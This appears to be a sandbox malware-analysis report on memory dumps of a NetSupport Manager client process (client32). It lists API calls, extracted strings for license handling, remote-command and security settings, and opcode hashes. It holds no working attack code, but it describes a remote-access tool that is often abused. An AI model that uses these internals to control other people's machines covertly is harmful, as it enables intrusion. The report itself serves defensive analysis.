Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: c4da030cc566985fed10b8ae72e49a46dab86cf533d5b385c533f073b0b7a5cb
Instruction ID: 5b7cf9c0659eada95368eb5e30aa7fe70508538aa6eda4fa9add4fab25305eb2
Opcode Fuzzy Hash: c4da030cc566985fed10b8ae72e49a46dab86cf533d5b385c533f073b0b7a5cb
Instruction Fuzzy Hash: D2D05E79684308BBE2159BD0CC4AFADB7ACD70CB16F200166FB01961C0DAB169008B76

Function 110A9240 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(00000000,002A400C,00000000,00000000,00000000,00000000,11030FDE,00000000), ref: 110A9260

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: bee1594c9b993945fc66beb885ff9e6d2c70a72c6a38e995273342c6cce042f3
Instruction ID: e696868f72d0725410e46aa1b0c9657244e5a899ecae170b9f1eee7695916dac
Opcode Fuzzy Hash: bee1594c9b993945fc66beb885ff9e6d2c70a72c6a38e995273342c6cce042f3
Instruction Fuzzy Hash: D5E0CDF5A0820CBFA304DEF99CC1C6BB79CD5063687100399F629C3141E5719D109770

Function 1102B546 Relevance: 70.5, APIs: 7, Strings: 33, Instructions: 485COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1102B5F5
GetTempFileNameA.KERNEL32(?,nsm,00000000,?), ref: 1102B658

Strings

*** Set eval flags registy, key [%s], xrefs: 1102BABA
ReplaceLicFile : Revert to previous license, xrefs: 1102B945
V12.10.4, xrefs: 1102BAED, 1102BB31
_License, xrefs: 1102B881, 1102B8BA, 1102B972, 1102BA18
ReplaceLicFile : Attempt to rename %s to %s, xrefs: 1102B77C, 1102B7B0
*** Copy enforce section for config %x, xrefs: 1102B85B
*** Set eval flags failed, error [%d], xrefs: 1102BB4B
830021, xrefs: 1102B5DD
ReplaceLicFile : Load new license file, xrefs: 1102B819
ReplaceLicFile : Status after config test %d - lic error %d, xrefs: 1102B759
ReplaceLicFile : New checksum and disk checksum don't match so we write file, xrefs: 1102B546
nsm, xrefs: 1102B64C
ReplaceLicFile : Written file %s, read into temporary config, xrefs: 1102B6C7
_checksum, xrefs: 1102BA13
*** product after copy %d, xrefs: 1102B8C5
z:, xrefs: 1102B991
IsA(), xrefs: 1102B9DF, 1102BA3D, 1102BAA9, 1102BB21
ReplaceLicFile : flags & 2 - just reread the license details, xrefs: 1102B587
ReplaceLicFile : Read license file, xrefs: 1102B5BE
HasEval, xrefs: 1102BB32
*** Activate new license file in registy, key [%s], xrefs: 1102B9F0
product, xrefs: 1102B96D
ReplaceLicFile : Status after renames %d - error %d, xrefs: 1102B7FF
Portable Tech Console\nsm.lic, xrefs: 1102BBDE
ReplaceLicFile : Rename current license file to %s, xrefs: 1102B636
*** Copied and read new license file, xrefs: 1102B84B
*** product before copy %d, xrefs: 1102B88C
Product, xrefs: 1102B87C, 1102B8B5
ReplaceLicFile : bWriteFile = %d, LoadLicense = %d, xrefs: 1102B5A9
Portable Tutor\nsm.lic, xrefs: 1102BBA3
%snsm.%s.%02d.lic, xrefs: 1102B5EF
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102B9DA, 1102BA38, 1102BAA4, 1102BB1C
ReplaceLicFile : License error %d reading %s, xrefs: 1102B8E5

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileNameTempwsprintf
String ID: %snsm.%s.%02d.lic$*** Activate new license file in registy, key [%s]$*** Copied and read new license file$*** Copy enforce section for config %x$*** Set eval flags failed, error [%d]$*** Set eval flags registy, key [%s]$*** product after copy %d$*** product before copy %d$830021$HasEval$IsA()$Portable Tech Console\nsm.lic$Portable Tutor\nsm.lic$Product$ReplaceLicFile : Attempt to rename %s to %s$ReplaceLicFile : License error %d reading %s$ReplaceLicFile : Load new license file$ReplaceLicFile : New checksum and disk checksum don't match so we write file$ReplaceLicFile : Read license file$ReplaceLicFile : Rename current license file to %s$ReplaceLicFile : Revert to previous license$ReplaceLicFile : Status after config test %d - lic error %d$ReplaceLicFile : Status after renames %d - error %d$ReplaceLicFile : Written file %s, read into temporary config$ReplaceLicFile : bWriteFile = %d, LoadLicense = %d$ReplaceLicFile : flags & 2 - just reread the license details$V12.10.4$_License$_checksum$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$nsm$product$z:
API String ID: 2029944419-2737758743
Opcode ID: 174ab10ef622b4b4a599600fe98865488f638ae1b667fd0395751504558a5437
Instruction ID: ea34cc8c2541377923297bd1bd1432500824a42ecbb912290de042532a9e56a7
Opcode Fuzzy Hash: 174ab10ef622b4b4a599600fe98865488f638ae1b667fd0395751504558a5437
Instruction Fuzzy Hash: 14020575E0062A6BDB20DBA4CC40FEEF379AF84708F5441D5E919A7181EB716B84CFA1

Function 1102B56B Relevance: 56.4, APIs: 5, Strings: 27, Instructions: 352COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1102B5F5
GetTempFileNameA.KERNEL32(?,nsm,00000000,?), ref: 1102B658

Strings

ReplaceLicFile : File checksum matches new checksum so don't write file but load, xrefs: 1102B56B
*** Set eval flags registy, key [%s], xrefs: 1102BABA
_License, xrefs: 1102B881, 1102B8BA, 1102B972, 1102BA18
V12.10.4, xrefs: 1102BAED, 1102BB31
*** Copy enforce section for config %x, xrefs: 1102B85B
*** Set eval flags failed, error [%d], xrefs: 1102BB4B
ReplaceLicFile : Load new license file, xrefs: 1102B819
830021, xrefs: 1102B5DD
nsm, xrefs: 1102B64C
_checksum, xrefs: 1102BA13
*** product after copy %d, xrefs: 1102B8C5
z:, xrefs: 1102B991
IsA(), xrefs: 1102B9DF, 1102BA3D, 1102BAA9, 1102BB21
ReplaceLicFile : flags & 2 - just reread the license details, xrefs: 1102B587
ReplaceLicFile : Read license file, xrefs: 1102B5BE
HasEval, xrefs: 1102BB32
*** Activate new license file in registy, key [%s], xrefs: 1102B9F0
product, xrefs: 1102B96D
Portable Tech Console\nsm.lic, xrefs: 1102BBDE
ReplaceLicFile : Rename current license file to %s, xrefs: 1102B636
*** Copied and read new license file, xrefs: 1102B84B
*** product before copy %d, xrefs: 1102B88C
Product, xrefs: 1102B87C, 1102B8B5
ReplaceLicFile : bWriteFile = %d, LoadLicense = %d, xrefs: 1102B5A9
Portable Tutor\nsm.lic, xrefs: 1102BBA3
%snsm.%s.%02d.lic, xrefs: 1102B5EF
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102B9DA, 1102BA38, 1102BAA4, 1102BB1C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileNameTempwsprintf
String ID: %snsm.%s.%02d.lic$*** Activate new license file in registy, key [%s]$*** Copied and read new license file$*** Copy enforce section for config %x$*** Set eval flags failed, error [%d]$*** Set eval flags registy, key [%s]$*** product after copy %d$*** product before copy %d$830021$HasEval$IsA()$Portable Tech Console\nsm.lic$Portable Tutor\nsm.lic$Product$ReplaceLicFile : File checksum matches new checksum so don't write file but load$ReplaceLicFile : Load new license file$ReplaceLicFile : Read license file$ReplaceLicFile : Rename current license file to %s$ReplaceLicFile : bWriteFile = %d, LoadLicense = %d$ReplaceLicFile : flags & 2 - just reread the license details$V12.10.4$_License$_checksum$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$nsm$product$z:
API String ID: 2029944419-1549382489
Opcode ID: 56bb1cfb618b80d56de75f6d6c36360757d97bcfb224a5606af07d0a30c758e5
Instruction ID: 6903609fa05968b79cc99ebba03b166313860aa57c38e94e7175ce74c4acfd72
Opcode Fuzzy Hash: 56bb1cfb618b80d56de75f6d6c36360757d97bcfb224a5606af07d0a30c758e5
Instruction Fuzzy Hash: 6BC12575E0062A5BEB20DB64CC40FEEF779AF80708F5441D5E91977181EB716A84CFA2

Function 11053720 Relevance: 49.3, APIs: 11, Strings: 17, Instructions: 348COMMON

Download Yara Rule

Strings

DisableRemoteCmd, xrefs: 11053994, 110539E1
serial_no, xrefs: 110537DE
_License, xrefs: 110537E3
platformid, xrefs: 11053564
EnableSmartcardAuth, xrefs: 110539FF
%sremcmdstub.exe, xrefs: 110539B4
UseNTSecurity, xrefs: 110538FC
Client, xrefs: 11053850, 11053890, 110538EA, 11053901, 11053928, 11053999, 110539E6, 11053A04, 11053A64, 11053AAE, 11053B5E
MinimumEncryption, xrefs: 11053B59
UserAcknowledge, xrefs: 1105384B
Password, xrefs: 110538E5
DisableInventory, xrefs: 11053A5F, 11053AA9
Usernames, xrefs: 1105388B
DEMO, xrefs: 11053803
Inactivity, xrefs: 11053923
_debug, xrefs: 11053569
%spciinv.dll, xrefs: 11053A7F

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: %spciinv.dll$%sremcmdstub.exe$Client$DEMO$DisableInventory$DisableRemoteCmd$EnableSmartcardAuth$Inactivity$MinimumEncryption$Password$UseNTSecurity$UserAcknowledge$Usernames$_License$_debug$platformid$serial_no
API String ID: 0-1779888543
Opcode ID: e16a8755776086d36e1b31847ec66cab136d5ab0f4874b86e8c28349ff3edf32
Instruction ID: 5762d973d5433722e04aa92932485fba5c9e567f96aab9c52d96a157c048a66c
Opcode Fuzzy Hash: e16a8755776086d36e1b31847ec66cab136d5ab0f4874b86e8c28349ff3edf32
Instruction Fuzzy Hash: 3AD1D674F053199BEB91CF65CC40FEEB7B5AF45704F0044D9E519AB280EB70A984CB55

Function 11139060 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 229registrylibraryloaderCOMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 111390BA
GetStockObject.GDI32(00000004), ref: 111390C5
RegisterClassA.USER32(?), ref: 111390D9
GetLastError.KERNEL32 ref: 1113914F
GetLastError.KERNEL32 ref: 1113916B
CreateWindowExA.USER32(00080020,NSMBlankWnd,Blank,88800000,?,?,?,?,00000000,00000000,00000000,00000000), ref: 111391D5
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000053), ref: 1113923E
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000053), ref: 1113926D
UpdateWindow.USER32(?), ref: 1113929B
GetProcAddress.KERNEL32(?,DwmEnableComposition), ref: 111392B6
SetTimer.USER32(?,00000081,00000014,00000000), ref: 111392FA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,110F55DC), ref: 11139304

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,110F55DC), ref: 11139322

Strings

Blank, xrefs: 111391C6
Error setting blankwnd timer, e=%d, xrefs: 1113930B
m_hWnd, xrefs: 1113921B, 11139250, 1113928A, 111392E0
BlankWnd x%x created, w=%d, h=%d, xrefs: 111391E9
BlankWidth, xrefs: 111390FA
Error. BlankWnd not created, e=%d, xrefs: 11139329
Error. RegisterClass(%s) failed, e=%d, xrefs: 11139172
DwmEnableComposition, xrefs: 111392B0
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11139216, 1113924B, 11139285, 111392DB
BlankHeight, xrefs: 1113910B
_debug, xrefs: 111390FF, 1113911C
NSMBlankWnd, xrefs: 111390D2, 1113915B, 11139171, 111391CB
Info. Class %s already registered, xrefs: 1113915C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$Window$AddressClassCreateCursorExitLoadMessageObjectProcProcessRegisterStockTimerUpdatewsprintf
String ID: Blank$BlankHeight$BlankWidth$BlankWnd x%x created, w=%d, h=%d$DwmEnableComposition$Error setting blankwnd timer, e=%d$Error. BlankWnd not created, e=%d$Error. RegisterClass(%s) failed, e=%d$Info. Class %s already registered$NSMBlankWnd$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1116282658-3566152235
Opcode ID: d6d6ab1509d3c4d41658e3a31fc9e6f75bcf691539e9c4f314b72d0600c8e854
Instruction ID: 6cb21f8f8127432fbcbf373ae429d8022df700afa094652b34364ba5c840ba31
Opcode Fuzzy Hash: d6d6ab1509d3c4d41658e3a31fc9e6f75bcf691539e9c4f314b72d0600c8e854
Instruction Fuzzy Hash: 4D81D575B4030AAFD710DFA5CC85FEEF7B8EB88715F20442DF659A6280E77065408B55

Function 110433B0 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 327windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 11141430: ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,75C07310), ref: 11141457

ExtractIconA.SHELL32(11000000,00000000,00000000), ref: 110433F9
_memset.LIBCMT ref: 11043445
_strncpy.LIBCMT ref: 11043473
wsprintfA.USER32 ref: 11043558
_strncpy.LIBCMT ref: 110435A1
_strncpy.LIBCMT ref: 110435D5
SetDlgItemTextA.USER32(?,?,?), ref: 110435F2
SetDlgItemTextA.USER32(?,00000002,?), ref: 11043627
SetTimer.USER32(00000000,00000001,000003E8,00000000), ref: 11043676
SetDlgItemTextA.USER32(?,?,11190240), ref: 1104368E
BringWindowToTop.USER32(?), ref: 110436CA
SetWindowPos.USER32(?,00000001,00000000,00000000,00000000,00000000,00000003), ref: 110436E3
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 110436F8

Part of subcall function 1115B8E0: SetForegroundWindow.USER32(00000000), ref: 1115B90E

MessageBeep.USER32(000000FF), ref: 11043705

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

GetDlgItem.USER32(?,00000002), ref: 1104372A
SetFocus.USER32(00000000), ref: 11043731

Strings

*UserAckRejectDefault, xrefs: 1104370F
AckDlgDisplayText, xrefs: 110434DE
helpdesk.ico, xrefs: 110433DC
m_hWnd, xrefs: 1104365C
*UserAckRejectWording, xrefs: 11043607
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11043657
Client, xrefs: 110434E3, 11043632
*UserAckWording, xrefs: 110434B4
AckDlgTimeOut, xrefs: 1104362D

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ItemWindow$Text_strncpy$BeepBringEnvironmentExpandExtractFocusForegroundIconMessageStringsTimer__wcstoi64_memsetwsprintf
String ID: *UserAckRejectDefault$*UserAckRejectWording$*UserAckWording$AckDlgDisplayText$AckDlgTimeOut$Client$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$helpdesk.ico$m_hWnd
API String ID: 1946598539-1930157642
Opcode ID: 36586b8c2c426586482cacd975a0e985f9ba10f583d6a2bbae21fd93714aeaa3
Instruction ID: ded1bb61fb3941f1bcfc90b6e22c684d82d72c36ad168629116a92ba92965352
Opcode Fuzzy Hash: 36586b8c2c426586482cacd975a0e985f9ba10f583d6a2bbae21fd93714aeaa3
Instruction Fuzzy Hash: 83B12774B40316AFE715CB64CCC5FEEB3A5AF44708F2081A8F6559F2C1DAB1B9848B90

Function 1104F2F0 Relevance: 44.1, APIs: 18, Strings: 7, Instructions: 316filepipethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 1104D870: SetEvent.KERNEL32(?), ref: 1104D927
Part of subcall function 1104D870: CloseHandle.KERNEL32(?), ref: 1104D98D
Part of subcall function 1104D870: CloseHandle.KERNEL32(?), ref: 1104D99F

wsprintfA.USER32 ref: 1104F394
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 1104F3BD
GetLastError.KERNEL32 ref: 1104F3C8
SetNamedPipeHandleState.KERNEL32(00000000,00000002,00000000,00000000), ref: 1104F3F5
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,DC70C1FE), ref: 1104F40B
CloseHandle.KERNEL32(00000000,Function_0003C050,00000001,00000000), ref: 1104F4B5
GetWindowThreadProcessId.USER32(?,?), ref: 1104F4C3
OpenProcess.KERNEL32(00000400,00000000,?), ref: 1104F4D7
GetPriorityClass.KERNEL32(00000000), ref: 1104F4EC

Part of subcall function 110B6BD0: GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B6BF6
Part of subcall function 110B6BD0: GetProcAddress.KERNEL32(00000000), ref: 110B6BFD
Part of subcall function 110B6BD0: GetCurrentProcessId.KERNEL32(00000000), ref: 110B6C13

GetDC.USER32(00000000), ref: 1104F4FA
GetACP.KERNEL32(View,CacheSize,00000400,00000000), ref: 1104F54E
GetDeviceCaps.GDI32(00000000,0000000E), ref: 1104F55D
GetDeviceCaps.GDI32(00000000,0000000C), ref: 1104F56C
GetDeviceCaps.GDI32(?,00000026), ref: 1104F58A
GetDeviceCaps.GDI32(?,00000068), ref: 1104F59A
ReleaseDC.USER32(00000000,?), ref: 1104F5C8
GetSystemMetrics.USER32(0000004C), ref: 1104F5D6
GetSystemMetrics.USER32(0000004D), ref: 1104F5E0

Strings

View, xrefs: 1104F514
Show enabling mirror, xrefs: 1104F74E
CacheSize, xrefs: 1104F50D
Error creating hShowPipe, e=%d, xrefs: 1104F3CF
\\.\pipe\nsm_ctl32_show_%d, xrefs: 1104F38E
idata->hShowEvent, xrefs: 1104F425
CLTCONN.CPP, xrefs: 1104F420

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
